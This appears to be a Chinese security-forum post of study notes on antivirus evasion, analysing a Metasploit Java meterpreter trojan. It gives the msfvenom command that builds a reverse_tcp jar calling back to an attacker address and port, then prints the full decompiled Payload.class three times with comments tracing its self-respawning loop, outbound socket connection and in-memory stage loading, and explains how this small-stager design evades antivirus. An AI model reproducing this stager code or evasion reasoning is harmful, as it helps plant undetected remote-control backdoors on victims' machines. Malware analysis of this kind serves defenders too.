论坛首页 > 技术文章投稿区 > 技术文章

shanque免杀学习笔记day2-day6

F0re4t   ·   发表于 2022-06-04 22:10:10   ·   技术文章

msfshellcode上线流程分析

1.生成木马

  1. msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.3.4 LPORT=4444 > 1.jar


2.拖到本机，反编译一下


cmd ：java -jar jd-gui-1.6.6.jar


可以看到有三个文件

MANIFEST.MF

  1. Manifest-Version: 1.0
  2. Main-Class: metasploit.Payload //定义了jar包从这个地方开始加载
  3. Permissions: all-permissions
  5. Name: metasploit.dat
  7. Name: metasploit/Payload.class

metasploit.dat

  1. Spawn=2
  2. LHOST=10.0.3.4  回连ip地址
  3. LPORT=4444      回连端口

payload.class

  1. package metasploit;
  3. import java.io.ByteArrayInputStream;
  4. import java.io.ByteArrayOutputStream;
  5. import java.io.DataInputStream;
  6. import java.io.File;
  7. import java.io.FileNotFoundException;
  8. import java.io.FileOutputStream;
  9. import java.io.IOException;
  10. import java.io.InputStream;
  11. import java.io.OutputStream;
  12. import java.io.PrintStream;
  13. import java.net.ServerSocket;
  14. import java.net.Socket;
  15. import java.net.URL;
  16. import java.net.URLConnection;
  17. import java.security.AllPermission;
  18. import java.security.CodeSource;
  19. import java.security.Permissions;
  20. import java.security.ProtectionDomain;
  21. import java.util.Enumeration;
  22. import java.util.Locale;
  23. import java.util.Properties;
  24. import java.util.Stack;
  25. import java.util.StringTokenizer;
  27. public class Payload extends ClassLoader {
  28.     //获取当前的操作系统  windows10
  29.   private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
  30.    //获取路径的分割符  ；
  31.   private static final String PATH_SEP = System.getProperty("path.separator");
  32.    //判断是否是AIX（是否基于unix）  false
  33.   private static final boolean IS_AIX = "aix".equals(OS_NAME);
  34.   //判断路径的分割符是否是 ；  true
  35.   private static final boolean IS_DOS = PATH_SEP.equals(";");
  36.   // 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
  37.   private static final String JAVA_HOME = System.getProperty("java.home");
  39.   public static void main(String[] paramArrayOfString) throws Exception {
  40.     //读写配置文件
  41.     Properties properties = new Properties();
  42.     //通过反射获取payload类   clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
  43.     Class<Payload> clazz = Payload.class;
  44.     //定义一个str1，值为上面的 metasploit.payload，然后把.变成/，把文件后缀改为.class。 str1：'metasploit\payload.class',实际是获取文件的路径
  45.     String str1 = clazz.getName().replace('.', '/') + ".class";
  46.     //创建io加载配置文件properties，也就是把metasploit.dat里面的内容读到inputstream里面。
  47.     InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
  48.     if (inputStream != null) {  //dat文件存在，不等于空
  49.       properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
  50.       inputStream.close(); //关闭io流
  51.     } 
  52.     上面就做了一件事，把dat文件的内容通过io流去读到properties里面。
  54.     //定义一个str2，把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段，所以str2 = null
  55.     String str2 = properties.getProperty("Executable");
  56.     if (str2 != null) {     //判断str2不为空   false
  57.      //创建一个前缀为~spawn，后缀为.tmp的文件file1（ File.createTempFile是jdk自带API，作用是获取系统的tmp目录）
  58.       File file1 = File.createTempFile("~spawn", ".tmp");
  59.       file1.delete();  //删除file1？？？
  60.       File file2 = new File(file1.getAbsolutePath() + ".dir");   //创建一个file2，获取file1的绝对路径加上后缀.dir，file2:~spawnXXXX.tmp.dir
  61.       file2.mkdir();//创建file2
  62.       File file3 = new File(file2, str2);  //下面不想分析了，反正这个if也走不进来。。。
  63.       writeEmbeddedFile(clazz, str2, file3);
  64.       properties.remove("Executable");//删除Executable字段
  65.       properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来，返回file3的绝对路径
  66.     } 
  67.     // 获取配置文件中spawn的值，现在spawn=2，没有获取到的时候是0，int i = 2
  68.     int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
  69.     //str2不为空走了if才有str3，所以现在str3为空
  70.     String str3 = properties.getProperty("DroppedExecutable");
  71.     if (i > 0) {  // 如果i不为0，i=2>0
  72.      //把配置文件中spawn的值减一再放回去，spawn=1
  73.       properties.setProperty("Spawn", String.valueOf(i - 1));
  74.      //再tmp目录下创建file1，~spawnXXX.tmp
  75.       File file1 = File.createTempFile("~spawn", ".tmp");
  76.       file1.delete(); //删除file1
  77.      //获取file1也就是temp目录的绝对路径，创建file2：c:\temp\~spawnXXXX.tmp.dir
  78.       File file2 = new File(file1.getAbsolutePath() + ".dir");
  79.      //往file2里创建一个file3，file3=c:\temp\~spawnXXXX.tmp.dir\metasploit.dat
  80.       File file3 = new File(file2, "metasploit.dat");
  81.      //往file2里面创建一个file4，取前面定义的str1的值，file4=c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class
  82.       File file4 = new File(file2, str1);
  84.       file4.getParentFile().mkdirs();//创建文件夹
  85.       writeEmbeddedFile(clazz, str1, file4);//写文件进去
  86.       //至此上面的部分就是在临时文件目录创建了一个一模一样的文件夹，把paylod和dat复制了过去，然后dat文件中spawn的值由2变成了1。
  87.       if (properties.getProperty("URL", "").startsWith("https:"))//配置文件dat中没有URL，不进这个if
  88.         writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class")); 
  89.       if (properties.getProperty("AESPassword", (String)null) != null)//配置文件中也没有aespassword，不进这个if
  90.         writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class")); 
  91.       FileOutputStream fileOutputStream = new FileOutputStream(file3);
  92.       properties.store(fileOutputStream, "");
  93.       fileOutputStream.close();
  94.      //调用runtime接口执行系统命令，定义一个新的数组[java -classpath file2的绝对路径（c:\temp\~spawnXXXX.tmp.dir） clazz的名字（metasploit\payload.class）]，
  95.      //也就是让系统去执行了"java -classpath c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class" 这样一个命令，去运行payload.class。
  96.       Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
  97.       process.getInputStream().close();
  98.       process.getErrorStream().close();
  99.       //至此进程结束，木马文件自杀，但是在死前又运行了拷贝到临时文件下的一模一样的自己,唯一变化是配置文件dat中的spawn变成了1。

第二次运行分析

  1. package metasploit;
  3. import java.io.ByteArrayInputStream;
  4. import java.io.ByteArrayOutputStream;
  5. import java.io.DataInputStream;
  6. import java.io.File;
  7. import java.io.FileNotFoundException;
  8. import java.io.FileOutputStream;
  9. import java.io.IOException;
  10. import java.io.InputStream;
  11. import java.io.OutputStream;
  12. import java.io.PrintStream;
  13. import java.net.ServerSocket;
  14. import java.net.Socket;
  15. import java.net.URL;
  16. import java.net.URLConnection;
  17. import java.security.AllPermission;
  18. import java.security.CodeSource;
  19. import java.security.Permissions;
  20. import java.security.ProtectionDomain;
  21. import java.util.Enumeration;
  22. import java.util.Locale;
  23. import java.util.Properties;
  24. import java.util.Stack;
  25. import java.util.StringTokenizer;
  27. public class Payload extends ClassLoader {
  28.     //获取当前的操作系统  windows10
  29.   private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
  30.    //获取路径的分割符  ；
  31.   private static final String PATH_SEP = System.getProperty("path.separator");
  32.    //判断是否是AIX（是否基于unix）  false
  33.   private static final boolean IS_AIX = "aix".equals(OS_NAME);
  34.   //判断路径的分割符是否是 ；  true
  35.   private static final boolean IS_DOS = PATH_SEP.equals(";");
  36.   // 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
  37.   private static final String JAVA_HOME = System.getProperty("java.home");
  39.   public static void main(String[] paramArrayOfString) throws Exception {
  40.     //读写配置文件
  41.     Properties properties = new Properties();
  42.     //通过反射获取payload类   clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
  43.     Class<Payload> clazz = Payload.class;
  44.     //定义一个str1，值为上面的 metasploit.payload，然后把.变成/，把文件后缀改为.class。 str1：'metasploit\payload.class',实际是获取文件的路径
  45.     String str1 = clazz.getName().replace('.', '/') + ".class";
  46.     //创建io加载配置文件properties，也就是把metasploit.dat里面的内容读到inputstream里面。
  47.     InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
  48.     if (inputStream != null) {  //dat文件存在，不等于空
  49.       properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
  50.       inputStream.close(); //关闭io流
  51.     } 
  52.     上面就做了一件事，把dat文件的内容通过io流去读到properties里面。
  54.     //定义一个str2，把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段，所以str2 = null
  55.     String str2 = properties.getProperty("Executable");
  56.     if (str2 != null) {     //判断str2不为空   false
  57.      //创建一个前缀为~spawn，后缀为.tmp的文件file1（ File.createTempFile是jdk自带API，作用是获取系统的tmp目录）
  58.       File file1 = File.createTempFile("~spawn", ".tmp");
  59.       file1.delete();  //删除file1？？？
  60.       File file2 = new File(file1.getAbsolutePath() + ".dir");   //创建一个file2，获取file1的绝对路径加上后缀.dir，file2:~spawnXXXX.tmp.dir
  61.       file2.mkdir();//创建file2
  62.       File file3 = new File(file2, str2);  //下面不想分析了，反正这个if也走不进来。。。
  63.       writeEmbeddedFile(clazz, str2, file3);
  64.       properties.remove("Executable");//删除Executable字段
  65.       properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来，返回file3的绝对路径
  66.     } 
  67.     // 获取配置文件中spawn的值，现在spawn=1，没有获取到的时候是0，int i = 1
  68.     int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
  69.     //str2不为空走了if才有str3，所以现在str3为空
  70.     String str3 = properties.getProperty("DroppedExecutable");
  71.     if (i > 0) {  // 如果i不为0，i=1>0
  72.      //把配置文件中spawn的值减一再放回去，spawn=0
  73.       properties.setProperty("Spawn", String.valueOf(i - 1));
  74.      //再tmp目录下创建file1，~spawnXXX.tmp
  75.       File file1 = File.createTempFile("~spawn", ".tmp");
  76.       file1.delete(); //删除file1
  77.      //获取file1也就是temp目录的绝对路径，创建file2：c:\temp\~spawnXXXX.tmp.dir
  78.       File file2 = new File(file1.getAbsolutePath() + ".dir");
  79.      //往file2里创建一个file3，file3=c:\temp\~spawnXXXX.tmp.dir\metasploit.dat
  80.       File file3 = new File(file2, "metasploit.dat");
  81.      //往file2里面创建一个file4，取前面定义的str1的值，file4=c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class
  82.       File file4 = new File(file2, str1);
  84.       file4.getParentFile().mkdirs();//创建文件夹
  85.       writeEmbeddedFile(clazz, str1, file4);//写文件进去
  86.       //至此上面的部分就是在临时文件目录创建了一个一模一样的文件夹，把paylod和dat复制了过去，然后dat文件中spawn的值由2变成了1。
  87.       if (properties.getProperty("URL", "").startsWith("https:"))//配置文件dat中没有URL，不进这个if
  88.         writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class")); 
  89.       if (properties.getProperty("AESPassword", (String)null) != null)//配置文件中也没有aespassword，不进这个if
  90.         writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class")); 
  91.       FileOutputStream fileOutputStream = new FileOutputStream(file3);
  92.       properties.store(fileOutputStream, "");
  93.       fileOutputStream.close();
  94.      //调用runtime接口执行系统命令，定义一个新的数组[java -classpath file2的绝对路径（c:\temp\~spawnXXXX.tmp.dir） clazz的名字（metasploit\payload.class）]，
  95.      //也就是让系统去执行了"java -classpath c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class" 这样一个命令，去运行payload.class。
  96.       Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
  97.       process.getInputStream().close();
  98.       process.getErrorStream().close();
  100.       Thread.sleep(2000L);
  101.       File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
  102.       for (byte b = 0; b < arrayOfFile.length; b++) {
  103.         for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
  104.           arrayOfFile[b].deleteOnExit();
  105.           Thread.sleep(100L);
  106.         } 
  107.       } 
  108.       //至此次生进程再次结束，木马文件自杀，但是在死前又运行了拷贝到临时文件下的一模一样的自己。唯一的变化是新生成的dat文件里spawn变成了0.

第三次循环分析

  1. package metasploit;
  3. import java.io.ByteArrayInputStream;
  4. import java.io.ByteArrayOutputStream;
  5. import java.io.DataInputStream;
  6. import java.io.File;
  7. import java.io.FileNotFoundException;
  8. import java.io.FileOutputStream;
  9. import java.io.IOException;
  10. import java.io.InputStream;
  11. import java.io.OutputStream;
  12. import java.io.PrintStream;
  13. import java.net.ServerSocket;
  14. import java.net.Socket;
  15. import java.net.URL;
  16. import java.net.URLConnection;
  17. import java.security.AllPermission;
  18. import java.security.CodeSource;
  19. import java.security.Permissions;
  20. import java.security.ProtectionDomain;
  21. import java.util.Enumeration;
  22. import java.util.Locale;
  23. import java.util.Properties;
  24. import java.util.Stack;
  25. import java.util.StringTokenizer;
  27. public class Payload extends ClassLoader {
  28.     //获取当前的操作系统  windows10
  29.   private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
  30.    //获取路径的分割符  ；
  31.   private static final String PATH_SEP = System.getProperty("path.separator");
  32.    //判断是否是AIX（是否基于unix）  false
  33.   private static final boolean IS_AIX = "aix".equals(OS_NAME);
  34.   //判断路径的分割符是否是 ；  true
  35.   private static final boolean IS_DOS = PATH_SEP.equals(";");
  36.   // 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
  37.   private static final String JAVA_HOME = System.getProperty("java.home");
  39.   public static void main(String[] paramArrayOfString) throws Exception {
  40.     //读写配置文件
  41.     Properties properties = new Properties();
  42.     //通过反射获取payload类   clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
  43.     Class<Payload> clazz = Payload.class;
  44.     //定义一个str1，值为上面的 metasploit.payload，然后把.变成/，把文件后缀改为.class。 str1：'metasploit\payload.class',实际是获取文件的路径
  45.     String str1 = clazz.getName().replace('.', '/') + ".class";
  46.     //创建io加载配置文件properties，也就是把metasploit.dat里面的内容读到inputstream里面。
  47.     InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
  48.     if (inputStream != null) {  //dat文件存在，不等于空
  49.       properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
  50.       inputStream.close(); //关闭io流
  51.     } 
  52.     上面就做了一件事，把dat文件的内容通过io流去读到properties里面。
  54.     //定义一个str2，把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段，所以str2 = null
  55.     String str2 = properties.getProperty("Executable");
  56.     if (str2 != null) {     //判断str2不为空   false
  57.      //创建一个前缀为~spawn，后缀为.tmp的文件file1（ File.createTempFile是jdk自带API，作用是获取系统的tmp目录）
  58.       File file1 = File.createTempFile("~spawn", ".tmp");
  59.       file1.delete();  //删除file1？？？
  60.       File file2 = new File(file1.getAbsolutePath() + ".dir");   //创建一个file2，获取file1的绝对路径加上后缀.dir，file2:~spawnXXXX.tmp.dir
  61.       file2.mkdir();//创建file2
  62.       File file3 = new File(file2, str2);  //下面不想分析了，反正这个if也走不进来。。。
  63.       writeEmbeddedFile(clazz, str2, file3);
  64.       properties.remove("Executable");//删除Executable字段
  65.       properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来，返回file3的绝对路径
  66.     } 
  67.     // 获取配置文件中spawn的值，现在spawn=0，没有获取到的时候是0，int i = 0
  68.     int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
  69.     //str2不为空走了if才有str3，所以现在str3为空
  70.     String str3 = properties.getProperty("DroppedExecutable");
  71.     if (i > 0) {  // 如果i不为0，i=0 ！> 0
  72.      //不进入if了
  73.       properties.setProperty("Spawn", String.valueOf(i - 1));
  74.       File file1 = File.createTempFile("~spawn", ".tmp");
  75.       file1.delete(); 
  76.       File file2 = new File(file1.getAbsolutePath() + ".dir");
  77.       File file3 = new File(file2, "metasploit.dat");
  78.       File file4 = new File(file2, str1);
  79.       file4.getParentFile().mkdirs();
  80.       writeEmbeddedFile(clazz, str1, file4);
  81.       if (properties.getProperty("URL", "").startsWith("https:"))
  82.         writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class")); 
  83.       if (properties.getProperty("AESPassword", (String)null) != null)
  84.         writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class")); 
  85.       FileOutputStream fileOutputStream = new FileOutputStream(file3);
  86.       properties.store(fileOutputStream, "");
  87.       fileOutputStream.close();
  88.       Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
  89.       process.getInputStream().close();
  90.       process.getErrorStream().close();
  91.       Thread.sleep(2000L);
  92.       File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
  93.       for (byte b = 0; b < arrayOfFile.length; b++) {
  94.         for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
  95.           arrayOfFile[b].deleteOnExit();
  96.           Thread.sleep(100L);
  97.         } 
  98.       } 
  99.       //第三次的payload跳过了自杀走到了这里
  100.     } else if (str3 != null) { //str3还是空，也不进else if
  101.       File file = new File(str3);
  102.       if (!IS_DOS)
  103.         try {
  104.           try {
  105.             File.class.getMethod("setExecutable", new Class[] { boolean.class }).invoke(file, new Object[] { Boolean.TRUE });
  106.           } catch (NoSuchMethodException noSuchMethodException) {
  107.             Runtime.getRuntime().exec(new String[] { "chmod", "+x", str3 }).waitFor();
  108.           } 
  109.         } catch (Exception exception) {
  110.           exception.printStackTrace();
  111.         }  
  112.       Runtime.getRuntime().exec(new String[] { str3 });
  113.       if (!IS_DOS) {
  114.         file.delete();
  115.         file.getParentFile().delete();
  116.       } 
  117.     } else {  //从这里开始走
  118.       OutputStream outputStream;
  119.       int j = Integer.parseInt(properties.getProperty("LPORT", "4444")); //获取配置文件dat中的回连的端口LPORT为 int j
  120.       String str4 = properties.getProperty("LHOST", (String)null);       // 获取回连的地址为 str4
  121.       String str5 = properties.getProperty("URL", (String)null);          //获取回连的url为str5，但是配置文件中并没有，所以str5=null
  122.       InputStream inputStream1 = null;
  123.       if (j <= 0) { //j = 4444   false,不进if
  124.         inputStream1 = System.in;   
  125.         outputStream = System.out; 
  126.       } else if (str5 != null) {   //str5 != null  false也不进这个
  127.         if (str5.startsWith("raw:")) {
  128.           inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
  129.         } else if (str5.startsWith("http")) {
  130.           URLConnection uRLConnection = (new URL(str5)).openConnection();
  131.           if (str5.startsWith("https:"))
  132.             Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection }); 
  133.           addRequestHeaders(uRLConnection, properties);
  134.           inputStream1 = uRLConnection.getInputStream();
  135.         } 
  136.         outputStream = new ByteArrayOutputStream();
  137.       } else {
  138.         Socket socket;
  139.         if (str4 != null) {    //上面的if都不进，str4 != null true ,进这个if
  140.           socket = new Socket(str4, j);  //建立新的socket连接，值为回连地址和端口
  141.         } else {
  142.           ServerSocket serverSocket = new ServerSocket(j);
  143.           socket = serverSocket.accept();
  144.           serverSocket.close();
  145.         } 
  146.         inputStream1 = socket.getInputStream(); //读取socket的输入流
  147.         outputStream = socket.getOutputStream();//读取socket的输出流
  148.       } 
  149.       String str6 = properties.getProperty("AESPassword", (String)null);
  150.       if (str6 != null) {
  151.         Object[] arrayOfObject = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] { InputStream.class, OutputStream.class, String.class }).invoke(null, new Object[] { inputStream1, outputStream, str6 });
  152.         inputStream1 = (InputStream)arrayOfObject[0];
  153.         outputStream = (OutputStream)arrayOfObject[1];
  154.       } 
  155.       StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
  156.       String[] arrayOfString = new String[stringTokenizer.countTokens()];
  157.       for (byte b = 0; b < arrayOfString.length; b++)
  158.         arrayOfString[b] = stringTokenizer.nextToken(); 
  159.       (new Payload()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
  160.     } 
  161.   }
  163.   private static void addRequestHeaders(URLConnection paramURLConnection, Properties paramProperties) {
  164.     Enumeration<?> enumeration = paramProperties.propertyNames();
  165.     while (enumeration.hasMoreElements()) {
  166.       Object object = enumeration.nextElement();
  167.       if (object instanceof String) {
  168.         String str = (String)object;
  169.         if (str.startsWith("Header"))
  170.           paramURLConnection.addRequestProperty(str.substring(6), paramProperties.getProperty(str)); 
  171.       } 
  172.     } 
  173.   }
  175.   private static void writeEmbeddedFile(Class paramClass, String paramString, File paramFile) throws FileNotFoundException, IOException {
  176.     InputStream inputStream = paramClass.getResourceAsStream("/" + paramString);
  177.     FileOutputStream fileOutputStream = new FileOutputStream(paramFile);
  178.     byte[] arrayOfByte = new byte[4096];
  179.     int i;
  180.     while ((i = inputStream.read(arrayOfByte)) != -1)
  181.       fileOutputStream.write(arrayOfByte, 0, i); 
  182.     fileOutputStream.close();
  183.   }
  185.   private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream, String paramString, String[] paramArrayOfString) throws Exception {
  186.     try {
  187.       Class<?> clazz;
  188.       DataInputStream dataInputStream = new DataInputStream(paramInputStream);
  189.       Permissions permissions = new Permissions();
  190.       permissions.add(new AllPermission());
  191.       ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new java.security.cert.Certificate[0]), permissions);
  192.       if (paramString == null) {
  193.         int i = dataInputStream.readInt();
  194.         do {
  195.           byte[] arrayOfByte = new byte[i];
  196.           dataInputStream.readFully(arrayOfByte);
  197.           resolveClass(clazz = defineClass(null, arrayOfByte, 0, i, protectionDomain));
  198.           i = dataInputStream.readInt();
  199.         } while (i > 0);
  200.       } else {
  201.         clazz = Class.forName("javapayload.stage." + paramString);
  202.       } 
  203.       Object object = clazz.newInstance();
  204.       clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, paramArrayOfString });
  205.     } catch (Throwable throwable) {
  206.       throwable.printStackTrace(new PrintStream(paramOutputStream));
  207.     } 
  208.   }
  210.   private static String getJreExecutable(String paramString) {
  211.     File file = null;
  212.     if (IS_AIX)
  213.       file = findInDir(JAVA_HOME + "/sh", paramString); 
  214.     if (file == null)
  215.       file = findInDir(JAVA_HOME + "/bin", paramString); 
  216.     return (file != null) ? file.getAbsolutePath() : addExtension(paramString);
  217.   }
  219.   private static String addExtension(String paramString) {
  220.     return paramString + (IS_DOS ? ".exe" : "");
  221.   }
  223.   private static File findInDir(String paramString1, String paramString2) {
  224.     File file1 = normalize(paramString1);
  225.     File file2 = null;
  226.     if (file1.exists()) {
  227.       file2 = new File(file1, addExtension(paramString2));
  228.       if (!file2.exists())
  229.         file2 = null; 
  230.     } 
  231.     return file2;
  232.   }
  234.   private static File normalize(String paramString) {
  235.     Stack<String> stack = new Stack();
  236.     String[] arrayOfString = dissect(paramString);
  237.     stack.push(arrayOfString[0]);
  238.     StringTokenizer stringTokenizer = new StringTokenizer(arrayOfString[1], File.separator);
  239.     while (stringTokenizer.hasMoreTokens()) {
  240.       String str = stringTokenizer.nextToken();
  241.       if (".".equals(str))
  242.         continue; 
  243.       if ("..".equals(str)) {
  244.         if (stack.size() < 2)
  245.           return new File(paramString); 
  246.         stack.pop();
  247.         continue;
  248.       } 
  249.       stack.push(str);
  250.     } 
  251.     StringBuilder stringBuilder = new StringBuilder();
  252.     for (byte b = 0; b < stack.size(); b++) {
  253.       if (b > 1)
  254.         stringBuilder.append(File.separatorChar); 
  255.       stringBuilder.append(stack.elementAt(b));
  256.     } 
  257.     return new File(stringBuilder.toString());
  258.   }
  260.   private static String[] dissect(String paramString) {
  261.     char c = File.separatorChar;
  262.     paramString = paramString.replace('/', c).replace('\\', c);
  263.     String str = null;
  264.     int i = paramString.indexOf(':');
  265.     if (i > 0 && IS_DOS) {
  266.       int j = i + 1;
  267.       str = paramString.substring(0, j);
  268.       char[] arrayOfChar = paramString.toCharArray();
  269.       str = str + c;
  270.       j = (arrayOfChar[j] == c) ? (j + 1) : j;
  271.       StringBuilder stringBuilder = new StringBuilder();
  272.       for (int k = j; k < arrayOfChar.length; k++) {
  273.         if (arrayOfChar[k] != c || arrayOfChar[k - 1] != c)
  274.           stringBuilder.append(arrayOfChar[k]); 
  275.       } 
  276.       paramString = stringBuilder.toString();
  277.     } else if (paramString.length() > 1 && paramString.charAt(1) == c) {
  278.       int j = paramString.indexOf(c, 2);
  279.       j = paramString.indexOf(c, j + 1);
  280.       str = (j > 2) ? paramString.substring(0, j + 1) : paramString;
  281.       paramString = paramString.substring(str.length());
  282.     } else {
  283.       str = File.separator;
  284.       paramString = paramString.substring(1);
  285.     } 
  286.     return new String[] { str, paramString };
  287.   }
  288. }
  291. /* Location:              F:\免杀\java反编译\1.jar!\metasploit\Payload.class
  292.  * Java compiler version: 5 (49.0)
  293.  * JD-Core Version:       1.1.3
  294.  */

到此分析代码分析结束，那么进行三次内存循环的意义在哪呢？
躲避杀软：如果一上来就建立socket连接，大马拉回来上线肯定要被杀。
内存循环三次的意义是为了躲避杀软内存的追踪。
小马拉大马：
1.尽量减少特征
2.文件小（如果把大马的核心逻辑写到小马里面，文件就会很大，但是通过小马建立socket连接再从服务器上把大马拉回来体积就会很小）

反编译好的压缩包放附件了，直接everyedit打开就行。

用户名金币积分时间理由
Track-劲夫 100.00 0 2022-06-06 19:07:11 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

1.jar.src.zip   文件大小:0.004M (下载次数：1)

0 条回复   |  直到 2022-6-4 | 618 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.